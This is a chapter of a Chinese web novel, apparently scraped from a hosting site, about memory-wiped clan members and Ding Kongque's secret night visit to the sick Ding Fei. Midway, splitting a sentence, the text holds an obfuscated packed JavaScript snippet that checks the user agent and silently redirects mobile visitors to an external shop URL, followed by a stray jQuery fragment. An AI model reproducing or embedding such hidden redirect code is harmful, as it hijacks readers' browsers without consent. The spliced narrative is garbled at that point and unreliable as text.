文趣网 > 其他小说 > 张武陵 > 46.梦魂与我相周旋
    仙桃山的雪没有塞外孤寒,也没有江南细腻丰润,介于两者之间。雪野中潜藏着大片的松树,间杂了粉白的梅花,冷绿的杂草顶盖白雪。喜鹊和杜鹃都早早南飞了,乌鸦却不走,粗着嗓子叫唤。

    雪地里留下一长串车辙印和脚印,往前走一里路,就可以离开仙桃山的地界,丁询止步于此:“我就送到这里了,一路平安。”

    久违的大晴天,雪光照得迦陵频伽眼底发黑,他做了一晚梦,醒来全忘了。梧桐雨扶着额头,略显虚弱:“族中发生什么事情了?竟然要删掉我们这几天的记忆。”

    腊月二十二到除夕夜的记忆全没了,一干二净,前脚刚到桃花公主坟,瞬间跳转到离开,搁谁不迷糊?

    丁询露出为难的神色:“大老爷有他的考量。”

    梧桐雨和迦陵频伽没有藏好他们的不忍和怜悯,丁谑不会容许他们把这种情绪带到桃花公主坟外面。

    迦陵频伽说道:“明白,我们不多问。先走了,以后有机会到金陵来,我一定好好招待你。”

    丁询笑道:“当然,到时候要叫一声商老板了!”

    梧桐雨看着这位同宗兄弟,没来由地有几分惆怅:“我和迦陵频伽犹自如此,想必你们更不好过,多加小心!”

    雪中山道荒芜,一阵阵车轮碾过枯枝败叶的残响,渐渐地远去。丁询目送他们走远了,才返回桃花公主坟。

    昨夜的喜宴血雨腥风,今日的恨水溪过分宁静。

    丁询停驻桥边,他和三个督水工垂钓的鱼竿安分地插在竹筐里,躲雪的棚子和吃腊八粥的桌子惨淡淡的,仿佛老旧了十年的岁月。

    他坐在椅子上走神,什么也不想,也无处可想。

    “难得见你偷闲躲静,是因随云姐还是丁谴?总不会是丁悱恻?”身后传来一句调侃,丁孔雀卸下了冬季守门人的职务,斜挎剔骨刀,款款走近,“大老爷太偏执,这不是什么好事。”

    “少说两句吧,否则就去大老爷面前说。”丁询无心争论。

    “听你的意思,你没有半句怨言?”丁孔雀问。

    丁询烦躁地撇过脑袋:“你到底想说什么?”

    丁孔雀脾气大,最恨人给他摆脸色,他劝自己戒骄戒躁,不要恶语伤人,然而劝不过,他往后一靠,耳后的孔雀翎也跟着居高临下,用冷森森的眼睛睥睨面前的丁询。

    “我想说什么你清楚,但你又不在乎,我也不多费口舌了。丁询,你以为躲着避着,不看不听,就可以摆脱心疾的宿命?等着吧,下一个黑喜鹊就是你。”

    说到这,丁孔雀故作恍然,拊掌道:“你的父母姊妹都死光了,上哪儿找药引子?随便找个乞丐?不然乖乖当大老爷的提线木偶,死了劈成柴火丢进炼丹炉,也算你物尽其用。”

    “胡说八道!我绝不会,绝不会——”晴朗的阳光下,丁询猛地捂住胸口,二十多年安然无恙的心脏,似乎痛了一下。

    丁孔雀绽开畅快的笑容,拂袖而去。他巡视了一圈桃花公主坟,在主宅外边的枯树后,抓到鬼鬼祟祟的丁钟吕。

    “你在这干什么?”丁孔雀饶有兴味。

    丁钟吕没疯之前是年轻一辈中不起眼的小人物,虽然平庸,但性情稳定,因此做了桃花公主坟第一个黑发信差。

    “我、我来找悱恻表哥。”他牙齿打颤,腿脚发软。

    “悱恻?表哥?”丁孔雀怪异地歪着头,“他笼络人心的手段,耍到你一个疯子头上了吗?”

    丁钟吕大骇,往树上撞头,撞得头破血流:“我不是疯子!不是疯子!”

    “吵死了,闭嘴!”丁孔雀抽刀恐吓,尖叫声更加刺耳了,他无计可施,只好把刀一收,阔步走进主宅,向丁谑述职。

    主宅尚未撤下红烛喜联,昨天闹了逃婚这一出事后,丁谑依旧不慌不忙发了压岁钱,让族人回屋守岁。

    粗略算上各房长辈的压岁钱,丁孔雀拢共得到十三锭金锞,二十锭银锞和玉佩、扇坠若干小物件。主家的压岁钱更多,丁询至少有十五锭金锞。

    炼丹房已经连夜修好破损的屋顶,置换烧毁的桌椅布帘,丹炉却不容易修补,当初建造炉鼎,足足花了一年零七个月。但丁谑没有处罚张武陵,丁孔雀不禁怀疑,张武陵身上有什么他图谋的东西。

    这一趟注定丁孔雀走空。

    炼丹房香雾缭绕,数不尽的呓语和挣扎被蛇影缠绕,眼前涌动的浮光像翡翠般冰绿清澈的水乡泽国,张武陵沉入水底,血气逸散在碧波之中,举目唯见莲叶笼盖,荷花犹如胭脂弃水,染红池沼。

    天上水下,忽如明镜翻转,沉溺之人化作岸上病客,抱剑而坐,俯身观水,外掩官绿披风,浸湿的衣摆变成深沉的黑色。

    他与琉璃池中的倒影周旋太久,久得快要跌落下去,猛然间伸出一双手搂住他直起身子,银盘哐当落地,朱橘和青橄榄打滚儿,掉了几颗下水。

    “阿诽,水边危险。”丁询不敢松手,生怕一松手,丁诽又魔怔了。

    “有人溺水,快救他!”丁诽心脏刺痛,一身冷汗。

    丁询往下撇了一眼,只看到相互交错的莲梗,橘子和橄榄沉在水底,琉璃池上挺立着青黑的莲叶和鲜红的莲花。

    “没人,你看错了。”丁询说道。

    “……那就好。”丁诽脸色苍白,身躯衰败,仿佛晦暗的阴雨和枯槁的残荷,整个人颓堕委靡。

    他在炼丹房中关了五天,丁谑从未花费如此漫长的时间清洗记忆、假造记忆。于是反抗的张武陵忘却了,主家多了一个丁诽,他越思考心脏越痛,兴许把心挖出来,就可以记起一切。

    “外面风大,怎么不到伯牙亭中?”丁询摸了下他的额头,确认前几天的高烧已经退下去,没有复发,便将地上的鲜果捡回银盘。

    “我心疾太重,趁还能走动,多出来听风看雪。”丁诽拖着善白剑,蹒跚走进伯牙亭,卧倒在琴匣之下。

    “岁暮繁忙,累到了而已,你切勿多虑,新年自然会好的。”丁询温声安慰。

    丁诽笑了一声说:“我也不晓得自己一腔心事在忧愁什么,然而心头郁郁,究竟难以开怀。”

    二十多年的往事不可能几天就洗干净,完全替换成另一个人,丁诽忘掉的烦恼全变成丁询的烦恼,短短一个月变故太多,回想起来竟比过往一成不变的日子更悠长。

    他抿了抿唇说:“元宵节快到了,到时我们结伴夜游,过桥走百病,为你祛病除灾。”

    他没有听见回应,丁诽已经闭上双眼,疾病禁锢他的躯体,痛楚打压他的精神,每日半梦半醒睡昏昏。

    “睡吧,睡吧,假的又何妨呢?”丁询喃喃自语,他守在伯牙亭中,白水晶项链挂在颈上,入了夜,花灯满天。

    丁诽睡得并不安稳,他梦见一群少年在踢蹴鞠,性格内敛害羞的丁香空结雨有一副好身手,足踢、膝顶、跃起后勾,蹴鞠在他脚上永不坠地。

    “丁悱恻!”丁结雨在喊他,“悱恻”是他的表字。

    圆滚滚的蹴鞠球传到脚下,丁诽下意识带球跑动,连过两人,一脚踢进球门。

    剥啄一声,黑棋敲响棋盘,夏无眠笃定道:“你输了。”

    丁诽算了一会儿棋,转过身点头道:“我输了。”

    夏无眠是个瞎子,戴着黑眼镜和黄金平安锁,说话有种特殊的韵律感,十分好听。

    这局盲棋是丁随云记谱,好不容易分出胜负,她便撒手不管,爱惜地擦拭软剑。

    “丁悱恻,快点!进山挖野茉莉了!”丁谴在门口大呼小叫。

    “夫君,你该走了。”夏无眠微笑,铜镜的光照在她脸上,像隔了层青金色的薄纱。

    丁诽感到莫名的别扭,不敢细瞧她的神情。

    “夫君且慢,我把这金锁跟你换珍珠坠。”

    “珍珠坠?”丁诽的太阳穴突突跳。

    “不肯?那我另外再给你一条珍珠坠。”夏无眠的声音变得模糊,面容变得扭曲,逐渐跟丁谑重合起来。

    白发童子双手高举金锁和珍珠坠,弯起嘴角,自上而下,慢慢悠悠地为丁诽套紧上吊的绳索。

    “很合适。”

    丁诽睁开双眼,拔剑相向,剑鞘迸射出寒冷的剑光,“秦善白”三字铭文直直撞进他眼中,他心如刀绞,剑身入鞘,方好受了一点。

    “徨徨所欲,来到此间?”丁诽喃喃自语。

    此句出自曹操所作杂言古诗《秋胡行·其一》,丁诽真想问那诗中的昆仑仙,问怀中的秦善白,该如何观照自身,观照已心?他想不通。

    已是子夜,灯灭人静,床榻里放了两个汤婆子,温热的熏香使人心神懈怠。丁诽的心口有一点红疤,像痣,一按就痛得钻心,有时分不清到底是心痛,还是伤口在痛。

    他掀开床帐,走到多宝格前。

    格子里的物件俱在:折了一条眼镜腿的黑圆眼镜,一个缺角的印章,连着刀柄的断刀,紫檀烟

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598473|203007||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    杆,叠放整齐的墨绿缎带,破碎的铜镜——紫金葫芦耳环不见了。

    月光照亮雪色,杏花树枝在窗纱上落下张牙舞爪的影子,庞大的黑影遮挡亮光,窗户悄然推开,窗外倒悬着一个年轻人,风筝一样飘然,轻巧落地。

    “谁?”一点寒芒刺破黑暗,精准停在入室盗贼的眉心,他一动不敢动。

    眼前的青年长得十足一张纨绔脸,端着脸色也是玩世不恭,一笑便显阴邪乖张,穿着藏蓝色织银的衣袍,孔雀翎耳饰像他耳边生长出来的羽毛。

    丁诽思索半晌,不确定地问道:“你是哪个旁支的兄弟?为何夜闯主宅?”

    丁孔雀挫败地大叹一口气,假装很熟稔。

    “你又把我忘了?我是丁孔雀,大老爷不让你出门,我担心你的伤势,这才大晚上偷偷摸摸过来。”

    他自负轻功了得,来去自如,又兼此处远离炼丹房,不怕撞见丁谑。

    丁诽试图从笼统、断裂的记忆中寻找丁孔雀的痕迹,然而无果,他收起剑说:“大概是换仙丹的遗毒作祟,我忘了很多事情,对不住。”

    月亮行走到窗外,斜斜照进一方光亮,丁孔雀明目张胆地注目丁诽——持剑站立,挺拔如竹,虽病容憔悴,但气度磊落。

    他假做不在意地摆摆手:“我都习惯了,不用放在心上。正月初十,老鼠嫁女,你不在等我,难道在等老鼠的喜宴?”

    丁诽笑了一声:“我为梦魇所伤,夜不能寐。”

    暖炉消融了丁孔雀一身的冰雪意,他上前两步问:“有什么烦心事,不妨和我说说?”

    “太晚了,请回吧。”丁诽太虚弱了,拿剑的手开始颤抖。

    “我实在担心,丁询看你看得紧。”丁孔雀装出忧虑的模样,他欣赏丁诽不要命的心劲,打定主意要把他拉上自己的贼船。

    冷空气钻入肺腑,在里面结冰,丁诽的每一次呼吸都伴随着冰冷的疼痛,他不想在别人面前示弱,却不得不微微倚着花罩,稳住身形。

    墨黑的身影又往前压了两步,刀鞘扫落香炉,发出杂乱的巨响,香灰飞舞,丁孔雀满不在乎,只关心道:“你要死了吗?”

    他有点怕丁诽死了,毕竟丁询靠不上,主家其他人死的死,疯的疯,没谁比丁诽更有用了。

    昏暗的屋子里,丁孔雀伸出手,忽然顿在半空,那弱不禁风的病相公抬起白惨惨的脸庞,寒星般的目光令人胆怯。

    “我们之前是朋友?”丁诽的语气并不冷淡,但丁孔雀有种被审视、被评判的紧张感和压迫感。

    “算不上朋友。”他话没说全,他们甚至算得上仇人。

    “那你深夜到此,有何目的?”

    “当然是来救你。”

    丁诽怪道:“我有什么好救的?”

    丁孔雀张口欲言,却住了嘴,望向门外。

    一盏灯火从远处游走到门前,轻声唤道:“阿诽,你醒了吗?”

    是丁询,他搬到了院子的偏房。

    除夕之后,丁诽开始梦游,晚上在房中踱步、下棋,有时说些自问自答的梦话,丁询担心唤醒他反而加重症状,因此常常在偏房中听彷徨的黄莺叫,夜莺沉寂了,再进门将倒在某个角落的丁诽搬到床上。

    今夜的声响太大。

    丁孔雀故意打翻香炉,惊动丁询,就是为了试探丁诽对主家的态度。倘若丁诽揭穿他,他也认栽,大不了去挨上几十鞭。

    他看了眼门上的影子,又看向丁诽。

    花罩双面镂雕“松竹梅” 岁寒三友,精美异常,此时只有门外窥探的灯火,幽暗之中看不清轮廓。

    丁诽如同失去颜色的苍白死尸,斜靠花罩,黑色的长发向下流淌,一时竟跟躺在棺盖上没有两样。

    他的呼吸似有若无,巨大的游离感萦绕在他周遭,而灵魂就在虚空中飘荡。

    “没事,我不小心推倒香炉,一屋子灰。”

    “好,你不要碰,我明天再收拾。”

    屋外的影子沉默了片刻,迈着无声的步伐离开了。

    丁孔雀的眼睛越来越亮,他想说些什么,可丁诽无力与他促膝长谈。

    “元宵我会出门,到时你来找我。”丁诽用最后的力气说道。

    “遵命!”丁孔雀顺手拿了桌上一枚青橄榄,跳出窗去,走之前良心发现,提醒道,“你屋子里有蛇的气息,当心。”

    丁诽一言不发,衣襟沉甸甸压着一块金锁和一条珍珠坠。